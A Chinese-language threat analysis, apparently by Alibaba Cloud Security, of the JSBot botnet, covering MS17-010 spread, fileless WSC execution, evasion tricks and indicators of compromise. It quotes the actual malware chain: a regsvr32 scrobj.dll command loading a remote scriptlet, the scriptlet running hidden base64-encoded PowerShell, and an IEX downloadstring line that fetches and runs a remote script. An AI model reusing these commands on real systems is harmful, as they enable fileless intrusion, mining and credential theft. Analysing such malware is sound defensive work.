概述
近日,阿裡雲安全監測到一種利用Javascript無檔案技術實作C&C通信的新型僵屍網絡,其核心互動無檔案落盤并由JS加載下載下傳Powershell腳本記憶體執行各類惡意操作,由于核心使用了WSC技術我們将其命名為JSBot。
阿裡雲安全專家分析發現,該僵屍網絡利用永恒之藍漏洞進行掃描入侵,通過WSC(Windows Scripting Component)技術下載下傳并執行核心Powershell腳本,實作檔案下載下傳、上傳、對外DDoS、挖礦、盜取密碼等功能,對主機、使用者資産危害極大。
阿裡雲安全持續對該BOT進行監控,發現近期傳播有所上升,提醒廣大使用者注意防護。

傳播手段
JSBOT通過MS17-010漏洞進行入侵和傳播,利用WSC技術實作無檔案化的維持和後續攻擊,通過從雲端下載下傳經過編碼的二進制檔案,實作對外DDoS和挖礦行為,通過Powershell核心函數實作對失陷主機的下載下傳、發送檔案、WMIExec等功能。
階段分析
詳細分析
JSBot通過MS17-010漏洞入侵主機内部後,通過進行svchost.exe執行指令派生cmd程序。該指令從域名cat.xiaoshabi.nl下載下傳一段XML檔案,該檔案使用JavaScript編寫的COM元件WSC(Windows Scripting Component),由于腳本檔案不能被編譯,隻能運作于Windows系統的腳本主控端WSH(Windows Scripting Host)中,全程檔案不落盤,這也給檔案清除、木馬清理帶來了難度。其執行的指令如下:
C:\\Windows\\system32\\regsvR32.EXE /u/s/i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll
檔案名為networks.xsl的XML檔案内容如下,通過建立 ActiveXObject("WScript.Shell").Run(ps,0,true) 執行一段powershell經過Base64加密的腳本
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Test"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c powershell.exe -nop -noni -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBzAGkAeAAuAHgAaQBhAG8AagBpAGoAaQAuAG4AbAAvAG4AZQB0AHcAbwByAGsAcwAuAHAAcwAxACcAKQApAA=="; new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
其中指令部分經base64解碼後内容如下,JSBot從 six.xiaojiji.nl 域名下載下傳進過混淆的腳本 networks.ps1
IEX ((new-object net.webclient).downloadstring('http://six.xiaojiji.nl/networks.ps1'))
networks.ps1包含三個參數,參數經過過base64或混淆
對檔案進行解碼後參數功能可以歸結如下
$ffffff解碼出的核心函數
函數Download_File,調用[System.IO.File]::WriteAllBytes("$env:temp$Filename", $temp)從失陷主機下載下傳檔案
函數RunDDOS,從
http://xxx.xxx.xxx.xxx/cohernece.txt下載下傳DDOS檔案到C:\Windows\TEMP\cohernece.exe目錄并執行
函數RunXMR,從
http://xxx.xxx.xxx.xxx/steam.txt下載下傳挖礦木馬并執行
函數Get-creds,盜取記憶體中的秘鑰
函數Scan,利用MS17-010對外進行掃描
整體解碼後可以得到JSBot如下核心功能
$miiiiii參數解碼二進制
Dll導出函數中包含powershell_reflective_mimikatz
檔案中對該Mimikatz工具進行了內建
逃逸手段分析
JSBot為了規避檢測在整體流程中采用了多種組合方式,其中比較典型的有以下幾類
無檔案記憶體化運作
JSBot通過regsvR32執行指令,調用scrobj.dll的DllInstall函數,将URL中所帶的COM元件寫入系統資料庫中,由于腳本運作于Windows平台上的腳本主控端WSH(Widnows Scripting Host),故檔案可以不落盤。
C:\\Windows\\system32\\regsvR32.EXE /u/s/i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll
而在Powershell腳本中JSBot通過一系列函數在記憶體空間中将PE寫入,同樣實作了無檔案落盤的操作,如圖寫記憶體函數
程式執行入口
JSBot使用WMIExec來遠端執行指令,Windows系統預設不會在日志中記錄這些操作,可以做到無日志,攻擊腳本無需寫入磁盤。
腳本多層多類型混淆
JSBot對核心函數做了兩次混淆,核心功能在參數$ffffff中,同時針對Powershell使用了任意大小寫、反引号、拼接等多種混淆手段,增加分析和檢測難度。
二進制編碼記憶體還原
JSBot從遠端服務下載下傳二進制時,對二進制檔案進行了文本化,以逃避網絡側流量的檢測,在腳本中再進行解碼還原,如下為下載下傳的DDoS木馬。
Powershell中對二進制檔案進行還原函數如下
安全解決方案
雲防火牆利用圖計算結合流實時計算,可以在近實時對攻擊封包進行分析,依賴圖計算存儲的億級IOC節點對外聯IP、域名、URL進行團夥化标簽,依托流實時化分析系統得到團夥攻擊Payload、攻擊URL、攻擊端口等資訊,有效提升對蠕蟲木馬類攻擊的檢測防禦能力。目前雲防火牆支援對JSBOT進行防禦與檢測。
雲防火牆主動外聯功能結合阿裡雲千萬級别活躍IP、域名威脅情報庫(包含勒索軟體、間諜軟體、僵屍網絡、木馬後門等分類),對外聯IP、域名進行實時監控,通過“建議操作”可以檢視實時流量日志或通過智能政策對外聯、域名進行管控、封禁,保障您的資産不遭受更大的損失。
IOC
IP
5.180.96.187
Domain
cat.dashabi.in
skt.dashabi.nl
safe.lxb.monster
cat.xiaojiji.nl
skt.xiaojiji.nl
sec.xiaojiji.nl
URL
hxxp://cat.dashabi.in/networks.xsl
hxxp://sec.dashabi.in/javaw2/net/net.xsl
hxxp://sec.dashabi.in/javaw2/instance.xsl
hxxp://skt.dashabi.nl/networks.xsl
hxxp://cat.xiaojiji.nl/cohernece.txt
hxxp://cat.xiaojiji.nl/sys.txt
hxxp://skt.xiaojiji.nl/ver.txt
hxxp://cat.xiaojiji.nl/access.txt
hxxp://cat.xiaojiji.nl/monhash.txt
hxxp://cat.xiaojiji.nl/net/net.xsl
hxxp://cat.xiaojiji.nl/minhash.txt
hxxp://cat.xiaojiji.nl/nssmhash.txt
hxxp://cat.xiaojiji.nl/uas.txt
hxxp://cat.xiaojiji.nl/nssm.txt
hxxp://cat.xiaojiji.nl/ver.txt
hxxp://cat.xiaojiji.nl/min.txt
hxxp://cat.xiaojiji.nl/mon.txt
hxxp://sec.xiaojiji.nl/javaw2/instance.ps1
hxxp://sec.xiaojiji.nl/javaw2/javaw
hxxp://sec.xiaojiji.nl/javaw2/WinRing0x64.sys
hxxp://cat.xiaojiji.nl/networks.ps1
hxxp://cat.xiaojiji.nl/networks.xsl
hxxp://cat.xiaojiji.nl:80/net/net.xsl
hxxp://sec.xiaojiji.nl/javaw2/net/net.xsl
hxxp://six.xiaojiji.nl/networks.ps1
hxxp://six.xiaojiji.nl/networks.xsl
hxxp://skt.xiaojiji.nl/list.ps1
hxxp://skt.xiaojiji.nl/networke.ps1
hxxp://skt.xiaojiji.nl/networke.xsl
hxxp://skt.xiaojiji.nl/networks.ps1
hxxp://skt.xiaojiji.nl/networks.xsl
hxxp://safe.lxb.monster/networke.xsl
hxxp://safe.lxb.monster/networks.xsl
MD5
fdf5976964d0c42e4f5b490a2a7dd0c6
8c26218931c743a36987e07af7fc35f4
0ef5da9757386de38b1eb20e1ba0dc45